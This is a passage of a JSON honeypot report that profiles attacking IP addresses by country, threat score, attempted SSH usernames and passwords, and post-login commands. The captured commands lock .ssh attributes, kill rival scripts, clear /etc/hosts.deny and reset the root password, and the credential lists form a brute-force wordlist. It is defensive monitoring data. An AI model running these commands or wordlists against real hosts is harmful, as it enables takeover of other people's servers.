      "attack_count": 593,
      "first_seen": "2026-05-08T13:26:34.868Z",
      "last_seen": "2026-05-28T00:04:15.526Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ubuntu",
        "postgres",
        "dev",
        "test",
        "user",
        "yash",
        "baba",
        "brengoziscute",
        "csgoserver",
        "developer",
        "dylan",
        "es_user",
        "esuser",
        "etienne",
        "ftpuser",
        "grid",
        "guest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "P@ssw0rd",
        "123",
        "linux123",
        "test",
        "!QAZ2wsx",
        "0day.today",
        "123!@#",
        "123123qwe",
        "1234!@#$",
        "12345",
        "123456789",
        "123456lL",
        "123root",
        "1qaz@WSX3edc",
        "1qazxsw@3edc",
        "987654",
        "Diamond1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:CniJoEzo4pjA\"|chpasswd|bash",
        "echo \"root:bC1FWwo3Hst8\"|chpasswd|bash",
        "echo \"yash\\nMYZUcNf7TCQm\\nMYZUcNf7TCQm\\n\"|passwd",
        "echo -e \"yash\\nMYZUcNf7TCQm\\nMYZUcNf7TCQm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 775,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:26:34.868000+00:00",
        "last_seen_30d": "2026-05-28T00:05:23.746000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 182
      }
    },
    "20.255.61.0": {
      "attack_count": 448,
      "first_seen": "2026-05-21T09:51:38.091Z",
      "last_seen": "2026-05-21T11:08:14.842Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chiji",
        "netadmin",
        "pham",
        "volcengine",
        "cho",
        "csgo",
        "dovecot",
        "jdcloud",
        "jeon",
        "manager",
        "user",
        "yunwei"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "Dd112211",
        "cho",
        "fucker",
        "jdcloud",
        "jiemei",
        "kakao123",
        "ncloud",
        "netadmin",
        "test",
        "user123",
        "wangluo",
        "yunwei",
        "zz001"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nE3Vmgh2d8PC1\\nE3Vmgh2d8PC1\\n\"|passwd",
        "echo \"123456\\nb0NsQ19ZrXDz\\nb0NsQ19ZrXDz\\n\"|passwd",
        "echo \"netadmin\\nhmzly3qzeEGB\\nhmzly3qzeEGB\\n\"|passwd",
        "echo \"password\\ntsxZBXKpqAKk\\ntsxZBXKpqAKk\\n\"|passwd",
        "echo \"root:s1LRTvvCQ7u9\"|chpasswd|bash",
        "echo -e \"123456\\nE3Vmgh2d8PC1\\nE3Vmgh2d8PC1\"|passwd|bash",
        "echo -e \"123456\\nb0NsQ19ZrXDz\\nb0NsQ19ZrXDz\"|passwd|bash",
        "echo -e \"netadmin\\nhmzly3qzeEGB\\nhmzly3qzeEGB\"|passwd|bash",
        "echo -e \"password\\ntsxZBXKpqAKk\\ntsxZBXKpqAKk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:51:38.091000+00:00",
        "last_seen_30d": "2026-05-21T11:09:15.273000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 448,
        "Suricata": 74
      }
    },
    "171.231.198.24": {
      "attack_count": 444,
      "first_seen": "2026-05-27T01:50:35.530Z",
      "last_seen": "2026-05-27T02:16:05.197Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "user",
        "123456",
        "ace",
        "admian",
        "auto",
        "backup",
        "bin",
        "brenda",
        "cisco",
        "developer",
        "ftpuser",
        "geral",
        "helpdesk",
        "install",
        "installer",
        "joggler"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "123456",
        "039715582364317",
        "0987654321",
        "1",
        "112233",
        "91482d",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin01",
        "admin1",
        "admin123",
        "admin@123",
        "administrator",
        "aerohive",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:50:35.530000+00:00",
        "last_seen_30d": "2026-05-27T02:17:08.603000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 200
      }
    },
    "186.31.95.163": {
      "attack_count": 308,
      "first_seen": "2026-05-04T07:53:36.767Z",
      "last_seen": "2026-05-27T16:38:17.953Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "devops",
        "localhost",
        "administrator",
        "debian",
        "dockeruser",
        "ftptest",
        "git",
        "guest01",
        "hadoop",
        "hldmserver",
        "postgres",
        "radmin",
        "sftp",
        "teste",
        "testu",
        "user1",
        "user2"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "10021979612335",
        "111111",
        "1234",
        "12345678",
        "1234Qwer",
        "Aa111222",
        "P@ssw0rdP@ssw0rd",
        "Password@123",
        "Qq123456",
        "a",
        "a123123.",
        "abc123$%^",
        "admin!@#123",
        "debian123",
        "fang1314521",
        "git@123",
        "guest01"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"localhost\\nyAlfaYndpwje\\nyAlfaYndpwje\\n\"|passwd",
        "echo \"password\\nRlolI8pP2K5r\\nRlolI8pP2K5r\\n\"|passwd",
        "echo -e \"localhost\\nyAlfaYndpwje\\nyAlfaYndpwje\"|passwd|bash",
        "echo -e \"password\\nRlolI8pP2K5r\\nRlolI8pP2K5r\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 19429,
      "as_org": "Colombia",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:53:36.767000+00:00",
        "last_seen_30d": "2026-05-27T16:39:24.447000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 86
      }
    },
    "43.153.124.133": {
      "attack_count": 307,
      "first_seen": "2026-05-17T23:57:55.685Z",
      "last_seen": "2026-05-18T00:20:33.923Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huawei",
        "igor",
        "jose",
        "anaconda",
        "andrey",
        "grid",
        "nexus",
        "nokia",
        "root123",
        "rootuser",
        "sherry",
        "student2",
        "suporte",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234567@",
        "123456A@",
        "1q2w3e",
        "Qaz12345678!",
        "anaconda",
        "andrey",
        "grid",
        "huawei@123",
        "igor",
        "nexus!123",
        "nokia123",
        "password",
        "qweqwe123.",
        "root123",
        "rootuser@2026",
        "server@2021",
        "sherry123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"huawei@123\\n8TExPLn4lGH8\\n8TExPLn4lGH8\\n\"|passwd",
        "echo \"igor\\nBkWJ9V94VGTk\\nBkWJ9V94VGTk\\n\"|passwd",
        "echo \"password\\n73p5emGZyw9H\\n73p5emGZyw9H\\n\"|passwd",
        "echo -e \"huawei@123\\n8TExPLn4lGH8\\n8TExPLn4lGH8\"|passwd|bash",
        "echo -e \"igor\\nBkWJ9V94VGTk\\nBkWJ9V94VGTk\"|passwd|bash",
        "echo -e \"password\\n73p5emGZyw9H\\n73p5emGZyw9H\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:57:55.685000+00:00",
        "last_seen_30d": "2026-05-18T00:21:36.536000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 57
      }
    },
    "161.18.234.169": {
      "attack_count": 282,
      "first_seen": "2026-05-24T03:37:15.486Z",
      "last_seen": "2026-05-24T04:34:10.654Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jose",
        "public",
        "stud1",
        "admin",
        "afzal",
        "alpha",
        "misp",
        "morteza",
        "schueler",
        "sysadmin",
        "yaroslav"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1QAZ2wsx",
        "Admin_1234",
        "afzal@123",
        "misp",
        "q1234567",
        "qwe123asd",
        "qwerty",
        "schueler",
        "stud1",
        "sysadmin@2023",
        "ubuntu18svm"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nF0Aw5grGHAz1\\nF0Aw5grGHAz1\\n\"|passwd",
        "echo \"qwerty\\nxSiB5QC8sieD\\nxSiB5QC8sieD\\n\"|passwd",
        "echo \"stud1\\ntphLvtvogVP0\\ntphLvtvogVP0\\n\"|passwd",
        "echo -e \"123456\\nF0Aw5grGHAz1\\nF0Aw5grGHAz1\"|passwd|bash",
        "echo -e \"qwerty\\nxSiB5QC8sieD\\nxSiB5QC8sieD\"|passwd|bash",
        "echo -e \"stud1\\ntphLvtvogVP0\\ntphLvtvogVP0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Barranquilla",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:37:15.486000+00:00",
        "last_seen_30d": "2026-05-24T04:35:19.189000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 50
      }
    },
    "174.127.120.75": {
      "attack_count": 280,
      "first_seen": "2026-05-04T00:58:13.785Z",
      "last_seen": "2026-05-04T01:11:53.569Z",
      "sessions": 140,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:58:13.785000+00:00",
        "last_seen_30d": "2026-05-04T01:17:30.470000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 162
      }
    },
    "177.10.201.11": {
      "attack_count": 241,
      "first_seen": "2026-05-18T22:38:39.236Z",
      "last_seen": "2026-05-18T23:08:57.593Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10261026",
        "1q2w3e!@",
        "1q2w3e$R%T^Y",
        "ADMIN123",
        "adonix",
        "botpass",
        "claude",
        "customerservice",
        "fhem",
        "jiamima",
        "mozart123",
        "netwatch123456",
        "office",
        "officina",
        "peng",
        "please",
        "poiuyt",
        "qwe123QWE!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:gu9HGv7jkYtU\"|chpasswd|bash",
        "echo \"root:mMF9re5KejPb\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campina Grande",
      "asn": 263025,
      "as_org": "ISPTEC Sistemas de Comunicacao Eireli",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 12.5,
        "diversity": 18,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 15,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:55:24.801000+00:00",
        "last_seen_30d": "2026-05-18T23:10:01.204000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 70
      }
    },
    "45.172.153.100": {
      "attack_count": 241,
      "first_seen": "2026-05-13T22:13:30.556Z",
      "last_seen": "2026-05-13T22:48:49.412Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567q",
        "1234@qwe",
        "321",
        "3bb",
        "Abcd1234",
        "Pa$$w0rd2017",
        "Root@1111",
        "Testuser1",
        "abcd1234",
        "beavis",
        "manchester",
        "max!123",
        "postgres1234",
        "proman",
        "rails123",
        "rui123",
        "ryan",
        "sftpdi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7T91oXPHJmv5\"|chpasswd|bash",
        "echo \"root:qg6qKwSM3XMu\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 27847,
      "as_org": "TECNOLOGIA DIGITAL, S.A. DGTEC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T22:13:30.556000+00:00",
        "last_seen_30d": "2026-05-13T22:49:54.414000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 57
      }
    },
    "80.94.92.168": {
      "attack_count": 236,
      "first_seen": "2026-05-03T16:22:07.235Z",
      "last_seen": "2026-05-30T13:24:58.334Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "solana"
      ],
      "passwords_attempted": [
        "solana"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 60.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.7,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:15:40.803000+00:00",
        "last_seen_30d": "2026-05-30T13:26:02.344000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 232
      }
    },
    "171.231.180.69": {
      "attack_count": 230,
      "first_seen": "2026-05-22T17:32:16.792Z",
      "last_seen": "2026-05-22T17:47:32.837Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "*****",
        "ashish",
        "cf1c22",
        "cpanel",
        "db2inst2",
        "demo",
        "dubai",
        "help",
        "jay",
        "master",
        "mms",
        "monitor",
        "mysql",
        "open",
        "pi",
        "proftpd",
        "public"
      ],
      "passwords_attempted": [
        "1234",
        "*****",
        "0987654321",
        "1",
        "111111",
        "112233",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "Deadstar!",
        "abc123",
        "admin",
        "admin1",
        "administrator",
        "ashish",
        "cf1c22",
        "db2inst2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:32:16.792000+00:00",
        "last_seen_30d": "2026-05-22T17:48:34.972000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 230,
        "Suricata": 111
      }
    },
    "41.181.156.205": {
      "attack_count": 219,
      "first_seen": "2026-05-02T13:15:37.819Z",
      "last_seen": "2026-05-02T14:10:50.179Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "administrator",
        "jenkins",
        "345gs5662d34",
        "adminftp",
        "ftp",
        "steam",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "123456789bb",
        "123qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDqwe123",
        "CC123456.",
        "Cloud123",
        "Ea123456",
        "Jg123456",
        "Letmein@12345",
        "P@ssw0rd1",
        "Passw0rd...",
        "Root12345@",
        "Welcome2024!",
        "abc-1234",
        "adminftp",
        "angelica",
        "jenkins1234",
        "jj1314520"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"jenkins1234\\nsV6slDRoLoUJ\\nsV6slDRoLoUJ\\n\"|passwd",
        "echo -e \"jenkins1234\\nsV6slDRoLoUJ\\nsV6slDRoLoUJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Germiston",
      "asn": 16637,
      "as_org": "MTN Business Solutions",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:15:37.819000+00:00",
        "last_seen_30d": "2026-05-02T14:11:55.470000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "41.60.232.210": {
      "attack_count": 218,
      "first_seen": "2026-05-20T18:30:36.896Z",
      "last_seen": "2026-05-21T06:31:36.299Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
